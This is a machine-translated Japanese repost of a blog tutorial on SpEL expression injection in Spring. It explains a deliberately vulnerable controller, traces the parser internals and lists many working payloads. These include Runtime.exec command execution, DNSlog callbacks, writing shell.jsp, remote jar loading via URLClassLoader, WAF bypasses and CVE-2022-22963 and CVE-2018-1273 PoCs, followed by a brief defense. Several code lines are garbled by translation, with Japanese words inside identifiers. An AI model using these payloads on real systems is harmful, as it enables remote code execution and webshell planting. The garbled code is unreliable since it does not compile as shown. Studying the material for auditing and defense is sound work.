Java 式インジェクション (SpEL 式インジェクション)

導入:

Spring Expression Language (略して SpEL) は、実行時のクエリとオブジェクト グラフの操作をサポートする強力な式言語です。式言語は通常、作業負荷を軽減するために、最も重要な作業を完了するために最も単純な形式を使用します。

SpEL は Spring とは直接関係がないため、独立して使用できます。SpEL 式は、Spring ファミリーのすべての製品に対して十分にサポートされている式言語を Spring コミュニティに提供するために作成されました。つまり、SpEL は、他の表現言語を統合できるテクノロジーに依存しない API です。

SpEL の使用には 3 つの形式があり、1 つは注釈 @Value 内での使用、1 つは XML 構成での使用、最後はコード ブロックでの Expression の使用です。

SpEL は次の式をサポートしています。

1. 基本的な表現

リテラル式、リレーション式、論理算術演算式、文字列接続およびインターセプト式、三項演算式、正規表現、括弧優先式。

2. クラス関連の式

クラスタイプ式、クラスインスタンス化、instanceof式、変数定義と参照、代入式、カスタム関数、オブジェクト属性アクセスと安全なナビゲーション式、オブジェクトメソッド呼び出し、Bean参照。

3. コレクション関連の表現

インライン リスト、インライン配列、コレクション、ディクショナリ アクセス、リスト、ディクショナリ、配列の変更、コレクションの射影、コレクションの選択。多次元インライン配列の初期化はサポートされません。インライン ディクショナリの定義はサポートされません。

4. その他の表現

テンプレート式。

使用:

式の構文:

文字通りの表現

"#{'こんにちは世界'}"

Javaコードを直接使用します(java.langの下のクラスのみパッケージ名を省略できます)

Expression exp = parser.parseExpression("new Spring('Hello World')");
ExpressionParser パーサー = new SpelExpressionParser(); 
人 person = parser.parseExpression("new com.git.hui.boot.spel.person('一灰灰', 20)").getValue(Person.class);

T(タイプ)を使用

java.lang.Class インスタンスを表すには、「T(Type)」を使用します。同様に、java.lang の下のクラスのみがパッケージ名を省略できます。このメソッドは通常、定数または静的メソッドを参照するために使用されます。

parser.parseExpression("T(整数).MAX_VALUE"); 
parser.parseExpression("T(com.git.hui.boot.spel.demo.BasicSpelDemo.StaClz).txt").getValue(String.class);

変数

コンテナ内の変数を取得するには、「#bean_id」を使用して取得できます。直接使用できる特殊な変数が 2 つあります。

#this は現在評価中のコンテキストを使用します

#root はコンテナのルート オブジェクトを指します

文字列 result2 = parser.parseExpression("#root").getValue(ctx, String.class);  
public void variable() { 
    ExpressionParser パーサー = new SpelExpressionParser(); 
    人 person = new 人("一灰ブログ", 18); 
    EvaluationContext context = new StandardEvaluationContext(); 
    context.setVariable("人", 人); 
    parser.parseExpression("#person.getName()").getValue(context, String.class); 
    parser.parseExpression("#person.age").getValue(context, Integer.class); 
}

演算子式

Java文法における正規比較判定、四則演算、三項式、型判定、matches正規マッチング等の実表式

public void expression() { 
    ExpressionParser parser = new SpelExpressionParser();// 运算
    System.out.println("1+2= " + parser.parseExpression("1+2").getValue());// 比较
}

また、文法構造も多数あるので、ここでは一つ一つ紹介するのではなく、重要なものだけを紹介しますので、興味があればご自身で関連文献を見つけてください。

注釈 @Value:

@Value アノテーションをフィールド、メソッド、およびコンストラクターのパラメーターに配置して、デフォルト値を指定できます。

public class ElTestServlet extends HttpServlet {
    //@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")
    @Value("#{ \"HELLO WORLD!\" }")
    private String defaultLocale;
    public void ElTestServlet (String defaultLocale) {
        this.defaultLocale = defaultLocale;
    }
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView hello(@RequestParam("username") Object username){
        System.out.print(this.defaultLocale);
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

実行後、defaultLocale が割り当てられていることがわかります。

コードを次のコードに変更すると、計算機がポップアップ表示されます。

@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")

 もちろん、このようなコードを書く人はいないでしょうし、攻撃者がアノテーションの内容を制御することは困難です。

XML 構成の使用法:

次の式を使用して、プロパティまたはコンストラクターのパラメーター値を設定できます。

<bean id="number" class="net.biancheng.Number">
    <property name="randomNumber" value="#{T(java.lang.Math).random() * 100.0}"/>
</bean>

次のコードのように、名前で他の Bean プロパティを参照することもできます。

<bean id="shapeGuess" class="net.biancheng.ShapeGuess">
    <property name="shapSeed" value="#{number.randomNumber}"/>
</bean>

コードはテストされていないし、フロントエンドには基本的にBeanの修正を行う権限がないので、実環境ではELインジェクションポイントとしてインジェクトすることは不可能なので、こことあそこにこれがあるだけで十分です。あまり勉強する必要はありません。

コード ブロックで式を使用します。

実際の環境では、ほとんどの SpEL 式インジェクションは基本的にここに存在します。パラメータが攻撃者によって制御されると、攻撃を開始できます。まず、コードでの呼び出し方法を理解します。

SpEL は、次のインターフェイスとクラスを提供します。

  • 式インターフェイス: このインターフェイスは式文字列の評価を担当します。
  • ExpressionParser インターフェイス: このインターフェイスは文字列の解析を担当します。
  • EvaluationContext インターフェイス: このインターフェイスはコンテキストの定義を担当します。

次のコード テストを作成します。

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

jsp コードを記述します。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
    
</pre>
</body>
</html>

実行後、実行できることがわかります。

 

ただし、次のコードを使用すると、コードは正常に実行され、計算機がポップアップ表示されます。

T(java.lang.Runtime).getRuntime().exec('calc') 

 

コード分​​析: 

まずテストコードを書きます。キーコードは次のとおりです。

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

jspコードは次のとおりです。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
</pre>
</body>
</html>

コードは非常にシンプルで、ページにアクセスするときにパラメータを追加します。

ゲーム=T(java.lang.Runtime).getRuntime().exec('calc') 

まず、parser.parseExpression(spel) に入ります。このメソッドに入った後、主に受信した spel に対して予備処理を実行します。

主にコンテンツを処理する関数は、InternalSpelExpressionParser の EatPrimaryExpression メソッドです。最初の部分は主にパラメータの型です。クラス メソッドを取得する必要がある場合、最初のステップは に従って処理されます。2 番目のステップは、最初のステップで処理されたパラメータやメソッドなどの情報を抽出し、3 番目のステップでは取得したクラスを確認して次のことを確認します。

InternalSpelExpressionParser のmayEatTypeReference メソッドを入力すると、T に従ってクラス オブジェクトを取得するかどうかを判断することがわかります。

T があり、クラス オブジェクトを取得する必要がある場合、対応する処理は、internalSpelExpressionParser の EatPossiblyQualifiedId メソッドに入り、文字列に応じて文字列を分割します。ここではパラメータ (java.lang.Runtime).getRuntime( ).exec( 'calc') を使用して 3 つの配列を取得します。

 最初のステップが処理された後、2 番目のステップ exp.getValue(); 呼び出しに入り、式の値を取得します。

直接実行すると、計算機がポップアップします。ブレークポイントを追加した後、最初にスタック呼び出しを確認すると、重要な関数が次のとおりであることがわかります。

このうち呼び出しメソッドの取得は主にTypeReferenceのgetValueInternalメソッドを呼び出しますが、まずjava.langを省略して呼び出し、以下はカスタムメソッドを呼び出します。

具体的な呼び出し方法は、StandardTypeLocator の findType メソッドのリフレクションを通じて、対応するクラスを取得することです。

 対応するクラスとメソッドの情報を取得したら、それを呼び出して実行できます。ここで、 ref は呼び出す java.lang.Runtime クラス、呼び出す exec メソッド、および calc パラメータです。

上記は spel コード実行の一般的な分析です。実際には、主に 2 つのステップに分かれています。最初のステップでは、受け取ったパラメータを型に従って処理します。Type メソッドの場合は、 に従って文字を分割します。 、コンテンツを抽出して、クラス、メソッド、パラメータを取得します。次に、クラスを反映する 2 番目のステップに入り、それを呼び出して、spel 式を介したメソッドの呼び出しを完了します。

利用:

まず、どのような状況で脆弱性が存在するかを知る必要があります。脆弱性があるかどうかをテストするには、それを使用して計算できます。5-2 を使用すると、結果が 3 になることがわかります。ここで、一部のコード テストでは、変換する必要があります。文字列または他の形式に変換するとエラーが報告される可能性があるため、演算子の使用に加えて、他の構文も使用できます。

 または、DNSlog プラットフォームを使用してアクセスがあるかどうかを判断します。http プロトコルが機能しない場合は、さらにいくつかのプロトコルを試すことができます。

T(Runtime).getRuntime().exec('ping lkljea.dnslog.cn') 
new java.net.URL("http://lkljea.dnslog.cn").openConnection().connect()

 脆弱性があるかどうかを判断する方法を知ったら、一般的に使用される poc を見てみましょう。

システムコマンドを実行します。

T(java.lang.Runtime).getRuntime().exec("calc") 

T(Runtime).getRuntime().exec("calc") 
T(Runtime).getRuntime().exec(new String[]{ "cmd", "/c", "calc"}) 

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[ 1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")

印刷ディレクトリ構造:

new java.util.Scanner(new java.lang.ProcessBuilder("cmd","/c","dir",".\\").start().getInputStream(),"GBK").useDelimiter("アリソク").next()

ファイルの内容を読み取ります:

new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/work/ceshi) 。TXT"))))

 ファイルを書き込む:

T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/shell.jsp")) 、'123464987984949'.getBytes())

リモート クラス ファイルをロードします。

JVM にはさまざまな ClassLoader があり、異なる ClassLoader は異なる場所からバイトコード ファイルをロードします。ロード方法は、異なるファイル ディレクトリを介してロードすることも、ネットワーク サービス アドレスを使用してロードするなど、異なる jar ファイルからロードすることもできます。これはデモンストレーションです。 UrlClassLoader を介してリモート クラス ファイルをロードし、そのファイル内のメソッドを実行します。

まずコード spelclass.java を記述します。

public class spelclass {
    static {
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
        System.out.println();
    }
}

javac spelclass.java はクラス ファイルにコンパイルされ、jar コマンドを使用して jar ファイルにパッケージ化されます。

cvf jar spelclass.jar 。  

次に、Python を使用して単純なサーバーを構築するか、パブリック ネットワークの vps にクラスを配置します: python -m http.server 8080

次に、poc を使用します。

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.4.147:8080/spelclass.jar")}).loadClass("spelclass").getConstructors ()[0].newInstance("127.0.0.1:8080")

AppClassLoader は以下をロードします。

AppClassLoaderはユーザーに直接向き合っており、環境変数Classpathで定義したパスにjarパッケージとディレクトリをロードします。親委任の存在により、必要なクラスにロードできます。使用の前提は、 AppClassLoader は、ClassLoader クラスの静的メソッド getSystemClassLoader を通じて取得できます。

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc") 
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder")。 getConstructors()[1].newInstance(new String[]{"cmd", "\c", "calc"}).start() T(org.springframework.expression.spel.standard.SpelExpressionParser) 

.getClassLoader() .loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

バイパス:

ファイアウォールまたはホワイトリスト設定がある場合は、次のアイデアを使用してバイパスできます。

T( フィルターをバイパス:

T( に切り捨て文字を追加すると、spel は実行に影響を与えることなく %00 をスペースとして解析します。

T%00(java.lang.Runtime).getRuntime().exec("calc")

 リフレクションコール:

ロードされた el がホワイトリストに登録されている場合は、リフレクションによって呼び出すことができます。

T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

逆シリアル化の実行:

実行するコードは、最初にシリアル化してから、base64 でエンコードし、最後にデコードして逆シリアル化して実行できます。

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

CVE 分析:

キーワード spel で検索したところ、脆弱性が 10 件見つかりました。それほど包括的ではありませんが、いずれも致命的です。結局、デシリアライズ脆弱性と同様の spel 式の内容を実行することでコマンドを実行できます。害は依然として大きいです: 

 CVE-2022-22963:

まず、実行スタック情報を見てみましょう。赤いボックス内のキーポイントが脆弱性を引き起こします。

最初のステップは、head ヘッダーの spring.cloud.function.routing-expression のデータを取得することです。

次に、コンテンツが spel によって直接解析され、spel インジェクションの脆弱性が引き起こされます。

 攻撃ポック:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calca")

CVE-2018-1273 :

公式の紹介文は次のとおりです。公式の分類はバインディングの脆弱性です。スペル検索で見つからないのも不思議ではありません。バインド中にデータが誤って解析され、コマンドが実行されました。

Spring Data Commons の 1.13 ~ 1.13.10、2.0 ~ 2.0.5 より前のバージョン、およびサポートされていない古いバージョンには、特殊な要素の不適切な無効化によって引き起こされるプロパティ バインダーの脆弱性が含まれています。認証されていないリモートの悪意のあるユーザー (または攻撃者) は、Spring Data REST でサポートされる HTTP リソースに対して特別に作成されたリクエスト パラメーターを提供したり、Spring Data のプロジェクション ベースのリクエスト ペイロード バインディング ハットを使用したりすることで、リモート コード実行攻撃を引き起こす可能性があります。

これは git 上で構築できます。アドレスは次のとおりです。

https://github.com/wearearima/poc-cve-2018-1273

次の両方の POC が利用可能です。

name[T(java.lang.Runtime).getRuntime().exec("calca")]=123 
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec( 'calc.exe')]=123

主な実行脆弱性コードの場所は次のとおりです。

まず、取得したフロントエンド データと属性値をバインドする必要があります。 

ここでは、指定されたパラメータ キーの値が spel によって解析され、spel インジェクションが行われます。

 マップの内容は以下の通りです。

 したがって、原理も非常に単純です。つまり、パラメーターの解析に制限がないため、ユーザーは spel ステートメントを制御でき、その結果、インジェクションの問題が発生します。

コード監査:

上記の分析を読むと、この脆弱性を悪用するにはパラメータを spel データとして解析する必要があることがわかります。

式expression = parser.parseExpression(spel);

parseExpression メソッドが呼び出され、パラメータが制御できる限り、それが getValue または setValue の最後の呼び出しであるかどうかに関係なく、脆弱性がトリガーされます。違いは、その poc の形式です。コンテキストにバインドされたデータなので、parseExpression を見たときはそのパラメータが常に制御可能かどうかに注意する必要があり、制御可能で制御できていなければ使用できます。

注意すべきクラスとメソッドは次のとおりです。

// キークラス

org.springframework.expression.Expression 
org.springframework.expression.ExpressionParser 
org.springframework.expression.spel.standard.SpelExpressionParser

// 呼び出し機能

ExpressionParser パーサー = new SpelExpressionParser(); 
式expression = parser.parseExpression(str); 
式.getValue() 式.setValue()

防衛:

修正は、StandardEvaluationContext を SimpleEvaluationContext に置き換えることです。

公式説明:

https://docs.spring.io/spring-framework/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html

参照コード:

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

要約:

 spel インジェクションの原理は複雑ではありません。重要なのはその文法構造を知ることです。その文法構造を理解していれば、spel ステートメントを作成すれば、その文法構造に従って適切なステートメントを作成できることがわかります。制御できるパラメータがあることがわかったら攻撃します。また、コード監査が必要な場合でも、パラメータのソースを見つめるだけで、問題があるかどうかをすぐに判断できます。

おすすめ

転載: blog.csdn.net/GalaxySpaceX/article/details/132322361